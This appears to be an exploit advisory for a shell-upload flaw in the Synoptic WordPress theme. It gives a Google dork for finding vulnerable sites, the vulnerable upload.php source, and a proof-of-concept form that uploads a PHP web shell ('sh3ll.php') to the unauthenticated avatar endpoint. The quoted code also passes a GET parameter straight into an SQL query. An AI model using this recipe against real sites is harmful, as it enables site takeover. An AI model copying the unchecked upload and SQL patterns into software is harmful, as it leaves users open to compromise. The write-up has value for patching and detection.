Wordpress Themes Synoptic Shell Upload Vulnerabilities

#- Title: Wordpress Themes Synoptic Shell Upload Vulnerabilities

#- Author: uknown

#- Date: 11/08/2015

#- Developer : RecarnTheme

#- Vendor : themeforest

#- Link Download : themeforest. net/item/synoptic-premium-wordpress-template/234600

#- Google Dork: inurl:wp-content/themes/synoptic/

#- Tested on : Windows 7

#- Fixed in ??

=====================================================

&- Vulnerability : /public_html/wp-content/themes/synoptic/lib/avatarupload /upload.php

bug code :

<?php
//include required wp-load.php file for access WP functions
$wp_load_include = "../wp-load.php";
$i = 0;
while (!file_exists($wp_load_include) && $i++ < 9) {
 $wp_load_include = "../$wp_load_include";
}
//required to include wordpress file
require($wp_load_include);


/**
 * Handle file uploads via XMLHttpRequest
 */
class qqUploadedFileXhr {
    /**
     * Save the file to the specified path
     * @return boolean TRUE on success
     */
    function save($path) {    
        $input = fopen("php://input", "r");
        $temp = tmpfile();
        $realSize = stream_copy_to_stream($input, $temp);
        fclose($input);
        
        if ($realSize != $this->getSize()){            
            return false;
        }
        
        $target = fopen($path, "w");        
        fseek($temp, 0, SEEK_SET);
        stream_copy_to_stream($temp, $target);
        fclose($target);
        
        return true;
    }
    function getName() {
        return $_GET['qqfile'];
    }
    function getSize() {
        if (isset($_SERVER["CONTENT_LENGTH"])){
            return (int)$_SERVER["CONTENT_LENGTH"];            
        } else {
            throw new Exception('Getting content length is not supported.');
        }      
    }   
}

/**
 * Handle file uploads via regular form post (uses the $_FILES array)
 */
class qqUploadedFileForm {  
    /**
     * Save the file to the specified path
     * @return boolean TRUE on success
     */
    function save($path) {
        if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path)){
            return false;
        }
        return true;
    }
    function getName() {
        return $_FILES['qqfile']['name'];
    }
    function getSize() {
        return $_FILES['qqfile']['size'];
    }
}

class qqFileUploader {
    private $allowedExtensions = array();
    private $sizeLimit = 10485760;
    private $file;

    function __construct(array $allowedExtensions = array(), $sizeLimit = 10485760){        
        $allowedExtensions = array_map("strtolower", $allowedExtensions);
            
        $this->allowedExtensions = $allowedExtensions;        
        $this->sizeLimit = $sizeLimit;
        
        $this->checkServerSettings();       

        if (isset($_GET['qqfile'])) {
            $this->file = new qqUploadedFileXhr();
        } elseif (isset($_FILES['qqfile'])) {
            $this->file = new qqUploadedFileForm();
        } else {
            $this->file = false; 
        }
    }
    
    private function checkServerSettings(){        
        $postSize = $this->toBytes(ini_get('post_max_size'));
        $uploadSize = $this->toBytes(ini_get('upload_max_filesize'));        
        
        if ($postSize < $this->sizeLimit || $uploadSize < $this->sizeLimit){
            $size = max(1, $this->sizeLimit / 1024 / 1024) . 'M';             
            //die("{'error':'increase post_max_size and upload_max_filesize to $size'}");    
        }        
    }
    
    private function toBytes($str){
        $val = trim($str);
        $last = strtolower($str[strlen($str)-1]);
        switch($last) {
            case 'g': $val *= 1024;
            case 'm': $val *= 1024;
            case 'k': $val *= 1024;        
        }
        return $val;
    }
    
    /**
     * Returns array('success'=>true) or array('error'=>'error message')
     */
    function handleUpload($uploadDirectory, $replaceOldFile = TRUE){
        if (!is_writable($uploadDirectory)){
            return array('error' => "Server error. Upload directory isn't writable.");
        }
        
        if (!$this->file){
            return array('error' => 'No files were uploaded.');
        }
        
        $size = $this->file->getSize();
        
        if ($size == 0) {
            return array('error' => 'File is empty');
        }
        
        if ($size > $this->sizeLimit) {
            return array('error' => 'File is too large');
        }
        
        $pathinfo = pathinfo($this->file->getName());
        //$filename = $pathinfo['filename'];
  $filename = $this->file->getName();//$pathinfo['filename'];
        //$filename = md5(uniqid());
        $ext = $pathinfo['extension'];

        if($this->allowedExtensions && !in_array(strtolower($ext), $this->allowedExtensions)){
            $these = implode(', ', $this->allowedExtensions);
            return array('error' => 'File has an invalid extension, it should be one of '. $these . '.');
        }
        
        if(!$replaceOldFile){
            /// don't overwrite previous files that were uploaded
            while (file_exists($uploadDirectory . $filename . '.' . $ext)) {
                $filename .= '_1';//rand(10, 99);
            }
        }
        
        //if ($this->file->save($uploadDirectory . $filename . '.' . $ext)){
  if ($this->file->save($uploadDirectory . $filename)){  
   global $wpdb;
   $table_name = $wpdb->prefix.'syn_users';
   /*$syn_posts_query = "UPDATE ".$table_name." SET market_file_name='".$filename . '.' . $ext."' 
              WHERE ID = ".$_GET['user_id']." AND post_status='publish';"; // update user profile info*/
              
   //$syn_avatar_query = "UPDATE ".$table_name." SET user_avatar = '".$filename.".".$ext."' WHERE ID = ".$_GET['user_id'].";"; // update user profile avatar
   $syn_avatar_query = "UPDATE ".$table_name." SET user_avatar = '".$filename."' WHERE ID = ".$_GET['user_id'].";"; // update user profile avatar
   //$wpdb->show_errors();
   $wpdb->query($syn_avatar_query);
  
            //return array('success'=>true);
        } else {
            return array('error'=> 'Could not save uploaded file.' .
                'The upload was cancelled, or server error encountered');
        }
        
    }    
}

// list of valid extensions, ex. array("jpeg", "xml", "bmp")
$allowedExtensions = array();
// max file size in bytes
$sizeLimit = 1 * 528 * 528; // is equal with 278KB

$uploader = new qqFileUploader($allowedExtensions, $sizeLimit);

//put permission to upload file
$stat = @stat( dirname( AVATAR_UPLOAD_FOLDER ) );
$dir_perms = $stat['mode'] & 0007777;  // Get the permission bits.
@chmod( AVATAR_UPLOAD_FOLDER, $dir_perms );

$result = $uploader->handleUpload(AVATAR_UPLOAD_FOLDER);

//put permission to not read folder from outside
$dir_perms = $stat['mode'] & 0005555;  // Get the permission bits.
@chmod( AVATAR_UPLOAD_FOLDER, $dir_perms );

// to pass data through iframe you will need to encode all html tags
echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);

?>

&- When Vulnerable : {"error":"No files were uploaded."}

Proof Of Concept :

Material : sh3ll.php

Code:

<form enctype="multipart/form-data"
action="url.com/wp-content/themes/synoptic/lib/avatarupload/upload.php" method="post">
Your File: <input name="qqfile" type="file" /><br />
<input type="submit" value="3xploi7ed !" />
</form>

Shell Path : Here